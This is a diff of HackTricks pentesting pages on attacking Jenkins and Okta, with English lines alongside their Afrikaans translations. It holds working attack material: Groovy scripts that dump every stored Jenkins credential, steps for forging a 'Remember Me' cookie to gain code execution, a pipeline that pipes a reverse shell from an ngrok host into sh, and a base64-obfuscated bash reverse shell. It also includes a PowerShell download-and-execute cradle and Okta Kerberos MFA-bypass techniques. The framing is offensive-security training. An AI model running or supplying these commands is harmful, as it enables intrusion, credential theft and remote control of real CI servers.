According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
|
||||
Volgens [**die docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Kredensiale wat in die omvang is, word sonder beperking aan die pyplyn beskikbaar gestel. Om **per ongeluk blootstelling in die boulog te voorkom**, word kredensiale **gemasker** van gewone uitvoer, sodat 'n aanroep van `env` (Linux) of `set` (Windows), of programme wat hul omgewing of parameters druk, **nie in die boulog aan gebruikers wat andersins nie toegang tot die kredensiale sou hê nie, onthul word**.
|
||||
|
||||
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
|
||||
**Dit is waarom 'n aanvaller, om die kredensiale te ontvoer, byvoorbeeld, hulle in base64 moet kodifiseer.**
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
@@ -92,6 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,108 +1,105 @@
|
||||
# Jenkins Arbitrary File Read to RCE via "Remember Me"
|
||||
# Jenkins Arbitrêre Lêer Lees na RCE via "Onthou My"
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
In hierdie blogpos is dit moontlik om 'n uitstekende manier te vind om 'n Local File Inclusion kwesbaarheid in Jenkins in RCE te transformeer: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
|
||||
This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
|
||||
Dit is 'n KI-gegenereerde opsomming van die deel van die pos waar die vervaardiging van 'n arbitrêre koekie misbruik word om RCE te verkry deur 'n plaaslike lêer te lees totdat ek tyd het om 'n opsomming op my eie te skep:
|
||||
|
||||
### Attack Prerequisites
|
||||
### Aanval Voorvereistes
|
||||
|
||||
- **Feature Requirement:** "Remember me" must be enabled (default setting).
|
||||
- **Access Levels:** Attacker needs Overall/Read permissions.
|
||||
- **Secret Access:** Ability to read both binary and textual content from key files.
|
||||
- **Kenmerk Vereiste:** "Onthou my" moet geaktiveer wees (standaardinstelling).
|
||||
- **Toegangsvlakke:** Aanvaller benodig Algemene/Lees regte.
|
||||
- **Geheime Toegang:** Vermoë om beide binêre en teksinhoud van sleutel lêers te lees.
|
||||
|
||||
### Detailed Exploitation Process
|
||||
### Gedetailleerde Exploitasiestap
|
||||
|
||||
#### Step 1: Data Collection
|
||||
#### Stap 1: Gegevensinsameling
|
||||
|
||||
**User Information Retrieval**
|
||||
**Gebruikersinligting Herwinning**
|
||||
|
||||
- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
|
||||
- **Username**
|
||||
- **User seed**
|
||||
- **Timestamp**
|
||||
- **Password hash**
|
||||
- Toegang gebruikerskonfigurasie en geheime van `$JENKINS_HOME/users/*.xml` vir elke gebruiker om te versamel:
|
||||
- **Gebruikersnaam**
|
||||
- **Gebruiker saad**
|
||||
- **Tydstempel**
|
||||
- **Wagwoord hash**
|
||||
|
||||
**Secret Key Extraction**
|
||||
**Geheime Sleutel Uittrekking**
|
||||
|
||||
- Extract cryptographic keys used for signing the cookie:
|
||||
- **Secret Key:** `$JENKINS_HOME/secret.key`
|
||||
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
- Trek kriptografiese sleutels uit wat gebruik word om die koekie te teken:
|
||||
- **Geheime Sleutel:** `$JENKINS_HOME/secret.key`
|
||||
- **Meester Sleutel:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **MAC Sleutel Lêer:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
|
||||
#### Step 2: Cookie Forging
|
||||
#### Stap 2: Koekie Valsifikasie
|
||||
|
||||
**Token Preparation**
|
||||
**Token Voorbereiding**
|
||||
|
||||
- **Calculate Token Expiry Time:**
|
||||
- **Bereken Token Vervaldatum:**
|
||||
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
|
||||
```
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Voeg een uur by die huidige tyd
|
||||
```
|
||||
|
||||
- **Concatenate Data for Token:**
|
||||
- **Konkateer Gegevens vir Token:**
|
||||
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
|
||||
**MAC Key Decryption**
|
||||
**MAC Sleutel Ontsleuteling**
|
||||
|
||||
- **Decrypt MAC Key File:**
|
||||
- **Ontsleutel MAC Sleutel Lêer:**
|
||||
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // Convert master key to AES128 key format
|
||||
decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // Convert meester sleutel na AES128 sleutel formaat
|
||||
decrypted = AES.decrypt(macFile, key) // Ontsleutel die .mac lêer
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
|
||||
**Signature Computation**
|
||||
**Handtekening Berekening**
|
||||
|
||||
- **Compute HMAC SHA256:**
|
||||
- **Bereken HMAC SHA256:**
|
||||
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
|
||||
tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
|
||||
```
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // Bereken HMAC met die token en MAC sleutel
|
||||
tokenSignature = bytesToHexString(mac) // Convert die MAC na 'n hexadesimale string
|
||||
```
|
||||
|
||||
**Cookie Encoding**
|
||||
**Koekie Kodering**
|
||||
|
||||
- **Generate Final Cookie:**
|
||||
- **Genereer Finale Koekie:**
|
||||
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // Base64 encode the cookie data
|
||||
```
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // Base64 kodeer die koekie data
|
||||
```
|
||||
|
||||
#### Step 3: Code Execution
|
||||
#### Stap 3: Kode Uitvoering
|
||||
|
||||
**Session Authentication**
|
||||
**Sessie Verifikasie**
|
||||
|
||||
- **Fetch CSRF and Session Tokens:**
|
||||
- Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
|
||||
- Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
|
||||
- **Haal CSRF en Sessie Tokens:**
|
||||
- Maak 'n versoek na `/crumbIssuer/api/json` om `Jenkins-Crumb` te verkry.
|
||||
- Vang `JSESSIONID` uit die antwoord, wat saam met die onthou-my koekie gebruik sal word.
|
||||
|
||||
**Command Execution Request**
|
||||
**Opdrag Uitvoeringsversoek**
|
||||
|
||||
- **Send a POST Request with Groovy Script:**
|
||||
- **Stuur 'n POST Versoek met Groovy Skrip:**
|
||||
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
|
||||
- Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
|
||||
- Groovy skrip kan gebruik word om stelselniveau opdragte of ander operasies binne die Jenkins omgewing uit te voer.
|
||||
|
||||
The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
|
||||
Die voorbeeld curl-opdrag wat verskaf word demonstreer hoe om 'n versoek aan Jenkins te maak met die nodige koptekste en koekies om arbitrêre kode veilig uit te voer.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3,10 +3,9 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
|
||||
You can **dump all the secrets from the Groovy Script console** in `/script` running this code
|
||||
> Let daarop dat hierdie skrifte slegs die geheime binne die `credentials.xml` lêer sal lys, maar **bou konfigurasielêers** mag ook **meer krediete** hê.
|
||||
|
||||
Jy kan **alle geheime uit die Groovy Script konsole** in `/script` dump deur hierdie kode te loop.
|
||||
```java
|
||||
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
|
||||
import jenkins.model.*
|
||||
@@ -42,51 +41,45 @@ showRow("something else", it.id, '', '', '')
|
||||
|
||||
return
|
||||
```
|
||||
|
||||
#### or this one:
|
||||
|
||||
#### of hierdie een:
|
||||
```java
|
||||
import java.nio.charset.StandardCharsets;
|
||||
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
)
|
||||
|
||||
for (c in creds) {
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,42 +1,37 @@
|
||||
# Jenkins RCE Creating/Modifying Pipeline
|
||||
# Jenkins RCE Skep/Wysig Pyplyn
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Creating a new Pipeline
|
||||
## Skep 'n nuwe Pyplyn
|
||||
|
||||
In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
|
||||
In "Nuwe Item" (toeganklik in `/view/all/newJob`) kies **Pyplyn:**
|
||||
|
||||
.png>)
|
||||
|
||||
In the **Pipeline section** write the **reverse shell**:
|
||||
In die **Pyplyn afdeling** skryf die **omgekeerde dop**:
|
||||
|
||||
.png>)
|
||||
|
||||
```groovy
|
||||
pipeline {
|
||||
agent any
|
||||
agent any
|
||||
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
|
||||
Laastens klik op **Stoor**, en **Bou Nou** en die pyplyn sal uitgevoer word:
|
||||
|
||||
.png>)
|
||||
|
||||
## Modifying a Pipeline
|
||||
## Wysig 'n Pyplyn
|
||||
|
||||
If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
|
||||
As jy toegang het tot die konfigurasie-lêer van 'n geconfigureerde pyplyn, kan jy dit eenvoudig **wysig deur jou omgekeerde skulp by te voeg** en dit dan uitvoer of wag totdat dit uitgevoer word.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,39 +1,36 @@
|
||||
# Jenkins RCE Creating/Modifying Project
|
||||
# Jenkins RCE Skep/Wysig Projek
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Creating a Project
|
||||
## Skep 'n Projek
|
||||
|
||||
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
|
||||
Hierdie metode is baie luidrugtig omdat jy 'n heel nuwe projek moet skep (duidelik sal dit net werk as jou gebruiker toegelaat word om 'n nuwe projek te skep).
|
||||
|
||||
1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
|
||||
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
|
||||
3. Click **Build now**
|
||||
1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
|
||||
2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
1. **Skep 'n nuwe projek** (Freestyle projek) deur op "Nuwe Item" te klik of in `/view/all/newJob`
|
||||
2. Binne die **Bou** afdeling stel **Voer shell uit** in en plak 'n powershell Empire launcher of 'n meterpreter powershell (kan verkry word met _unicorn_). Begin die payload met _PowerShell.exe_ in plaas van _powershell._
|
||||
3. Klik op **Bou nou**
|
||||
1. As die **Bou nou** knoppie nie verskyn nie, kan jy steeds na **konfigureer** --> **Bou Triggers** --> `Bou periodiek` gaan en 'n cron van `* * * * *` stel
|
||||
2. In plaas van om cron te gebruik, kan jy die konfigurasie "**Trigger boue van buite**" gebruik waar jy net die api token naam moet stel om die taak te trigger. Gaan dan na jou gebruikersprofiel en **genereer 'n API token** (noem hierdie API token soos jy die api token genoem het om die taak te trigger). Laastens, trigger die taak met: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
|
||||
.png>)
|
||||
|
||||
## Modifying a Project
|
||||
## Wysig 'n Projek
|
||||
|
||||
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
|
||||
Gaan na die projekte en kyk **of jy enige** van hulle kan konfigureer (soek na die "Konfigureer knoppie"):
|
||||
|
||||
.png>)
|
||||
|
||||
If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
|
||||
As jy **nie** enige **konfigurasie** **knoppie** kan sien nie, dan kan jy waarskynlik **nie** **dit konfigureer** nie (maar kyk na al die projekte aangesien jy dalk sommige van hulle kan konfigureer en nie ander nie).
|
||||
|
||||
Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
|
||||
Of **probeer om toegang te verkry tot die pad** `/job/<proj-name>/configure` of `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in elke projek (voorbeeld: `/job/Project0/configure` of `/me/my-views/view/all/job/Project0/configure`).
|
||||
|
||||
## Execution
|
||||
## Uitvoering
|
||||
|
||||
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
|
||||
As jy toegelaat word om die projek te konfigureer, kan jy **dit laat opdragte uitvoer wanneer 'n bou suksesvol is**:
|
||||
|
||||
.png>)
|
||||
|
||||
Click on **Save** and **build** the project and your **command will be executed**.\
|
||||
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
|
||||
Klik op **Stoor** en **bou** die projek en jou **opdrag sal uitgevoer word**.\
|
||||
As jy nie 'n reverse shell uitvoer nie, maar 'n eenvoudige opdrag, kan jy **die uitvoer van die opdrag binne die uitvoer van die bou sien**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,27 +1,24 @@
|
||||
# Jenkins RCE with Groovy Script
|
||||
# Jenkins RCE met Groovy Skrip
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Jenkins RCE with Groovy Script
|
||||
## Jenkins RCE met Groovy Skrip
|
||||
|
||||
This is less noisy than creating a new project in Jenkins
|
||||
|
||||
1. Go to _path_jenkins/script_
|
||||
2. Inside the text box introduce the script
|
||||
Dit is minder luidrugtig as om 'n nuwe projek in Jenkins te skep
|
||||
|
||||
1. Gaan na _path_jenkins/script_
|
||||
2. Binne die tekskas, stel die skrip voor
|
||||
```python
|
||||
def process = "PowerShell.exe <WHATEVER>".execute()
|
||||
println "Found text ${process.text}"
|
||||
```
|
||||
Jy kan 'n opdrag uitvoer met: `cmd.exe /c dir`
|
||||
|
||||
You could execute a command using: `cmd.exe /c dir`
|
||||
In **linux** kan jy doen: **`"ls /".execute().text`**
|
||||
|
||||
In **linux** you can do: **`"ls /".execute().text`**
|
||||
|
||||
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
|
||||
|
||||
**Another useful groovy script** is (replace \[INSERT COMMAND]):
|
||||
As jy _aanhalings_ en _enkele aanhalings_ binne die teks moet gebruik, kan jy _"""PAYLOAD"""_ (drie dubbele aanhalings) gebruik om die payload uit te voer.
|
||||
|
||||
**Nog 'n nuttige groovy script** is (vervang \[INSERT COMMAND]):
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = '[INSERT COMMAND]'.execute()
|
||||
@@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
|
||||
### Reverse shell in linux
|
||||
|
||||
### Omgekeerde dop in linux
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
|
||||
@@ -39,28 +34,20 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
|
||||
### Reverse shell in windows
|
||||
|
||||
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
|
||||
|
||||
Jy kan 'n HTTP-bediener met 'n PS reverse shell voorberei en Jeking gebruik om dit af te laai en uit te voer:
|
||||
```python
|
||||
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
|
||||
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
|
||||
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
|
||||
```
|
||||
### Skrip
|
||||
|
||||
### Script
|
||||
|
||||
You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
|
||||
|
||||
You can use MSF to get a reverse shell:
|
||||
Jy kan hierdie proses outomatiseer met [**hierdie skrip**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
|
||||
|
||||
Jy kan MSF gebruik om 'n omgekeerde skulp te kry:
|
||||
```
|
||||
msf> use exploit/multi/http/jenkins_script_console
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,117 +1,114 @@
|
||||
# Okta Security
|
||||
# Okta Veiligheid
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
|
||||
[Okta, Inc.](https://www.okta.com/) word erken in die identiteit en toegangsbestuursektor vir sy wolk-gebaseerde sagtewareoplossings. Hierdie oplossings is ontwerp om gebruikersverifikasie oor verskeie moderne toepassings te stroomlyn en te beveilig. Hulle is nie net gerig op maatskappye wat hul sensitiewe data wil beskerm nie, maar ook op ontwikkelaars wat belangstel om identiteitsbeheer in toepassings, webdienste en toestelle te integreer.
|
||||
|
||||
The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
|
||||
Die vlaggies aanbod van Okta is die **Okta Identiteitswolk**. Hierdie platform sluit 'n suite van produkte in, insluitend maar nie beperk tot nie:
|
||||
|
||||
- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
|
||||
- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
|
||||
- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
|
||||
- **Universal Directory**: Enables centralized management of users, groups, and devices.
|
||||
- **API Access Management**: Secures and manages access to APIs.
|
||||
- **Enkele Aanmelding (SSO)**: Vereenvoudig gebruikers toegang deur een stel aanmeldbesonderhede oor verskeie toepassings toe te laat.
|
||||
- **Multi-Factor Verifikasie (MFA)**: Versterk sekuriteit deur verskeie vorme van verifikasie te vereis.
|
||||
- **Levensiklusbestuur**: Automatiseer die skepping, opdatering en deaktivering van gebruikersrekeninge.
|
||||
- **Universale Gids**: Maak sentrale bestuur van gebruikers, groepe en toestelle moontlik.
|
||||
- **API Toegang Bestuur**: Beveilig en bestuur toegang tot API's.
|
||||
|
||||
These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
|
||||
Hierdie dienste het as doel om dataprotectie te versterk en gebruikers toegang te stroomlyn, wat beide sekuriteit en gerief verbeter. Die veelsydigheid van Okta se oplossings maak dit 'n gewilde keuse oor verskeie bedrywe, voordelig vir groot ondernemings, klein maatskappye en individuele ontwikkelaars. Soos van die laaste opdatering in September 2021, word Okta erken as 'n prominente entiteit in die Identiteit en Toegangsbestuur (IAM) arena.
|
||||
|
||||
> [!CAUTION]
|
||||
> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
|
||||
> Die hoofdoel van Okta is om toegang tot verskillende gebruikers en groepe tot eksterne toepassings te konfigureer. As jy daarin slaag om **administrateurregte in 'n Okta** omgewing te **kompromitteer**, sal jy hoogs waarskynlik in staat wees om **al die ander platforms wat die maatskappy gebruik te kompromitteer**.
|
||||
|
||||
> [!TIP]
|
||||
> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
|
||||
> Om 'n sekuriteitsherziening van 'n Okta omgewing uit te voer, moet jy vra vir **administrateur lees-slegs toegang**.
|
||||
|
||||
### Summary
|
||||
### Samevatting
|
||||
|
||||
There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
|
||||
These users can be inside **groups**.\
|
||||
There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
|
||||
Daar is **gebruikers** (wat kan wees **gestoor in Okta,** ingelogde van geconfigureerde **Identiteitsverskaffers** of geverifieer via **Active Directory** of LDAP).\
|
||||
Hierdie gebruikers kan binne **groepe** wees.\
|
||||
Daar is ook **verifikators**: verskillende opsies om te verifieer soos wagwoord, en verskeie 2FA soos WebAuthn, e-pos, telefoon, okta verify (hulle kan geaktiveer of gedeaktiveer wees)...
|
||||
|
||||
Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
|
||||
Dan is daar **toepassings** wat gesinkroniseer is met Okta. Elke toepassing sal 'n paar **kaarte met Okta** hê om inligting te deel (soos e-posadresse, voorname...). Boonop moet elke toepassing binne 'n **Verifikasiebeleid** wees, wat die **nodige verifikators** aandui vir 'n gebruiker om **toegang** tot die toepassing te verkry.
|
||||
|
||||
> [!CAUTION]
|
||||
> The most powerful role is **Super Administrator**.
|
||||
> Die mees kragtige rol is **Super Administrateur**.
|
||||
>
|
||||
> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
|
||||
> As 'n aanvaller Okta met Administrateur toegang kompromitteer, sal al die **apps wat Okta vertrou** hoogs waarskynlik **gekompromitteer** wees.
|
||||
|
||||
## Attacks
|
||||
## Aanvalle
|
||||
|
||||
### Locating Okta Portal
|
||||
### Lokasie van Okta Portaal
|
||||
|
||||
Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
|
||||
Gewoonlik sal die portaal van 'n maatskappy geleë wees in **companyname.okta.com**. As dit nie so is nie, probeer eenvoudige **variaties** van **companyname.** As jy dit nie kan vind nie, is dit ook moontlik dat die organisasie 'n **CNAME** rekord het soos **`okta.companyname.com`** wat na die **Okta portaal** wys.
|
||||
|
||||
### Login in Okta via Kerberos
|
||||
### Aanmelding in Okta via Kerberos
|
||||
|
||||
If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
|
||||
As **`companyname.kerberos.okta.com`** aktief is, **word Kerberos gebruik vir Okta toegang**, wat tipies **MFA** vir **Windows** gebruikers omseil. Om Kerberos-geverifieerde Okta gebruikers in AD te vind, voer **`getST.py`** uit met **geskikte parameters**. Nadat jy 'n **AD gebruikerskaart** verkry het, **injekteer** dit in 'n beheerde gasheer met behulp van gereedskap soos Rubeus of Mimikatz, en verseker dat **`clientname.kerberos.okta.com` in die Internet Opsies "Intranet" sone is**. Toegang tot 'n spesifieke URL moet 'n JSON "OK" antwoord teruggee, wat die aanvaarding van die Kerberos kaart aandui, en toegang tot die Okta dashboard verleen.
|
||||
|
||||
Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
|
||||
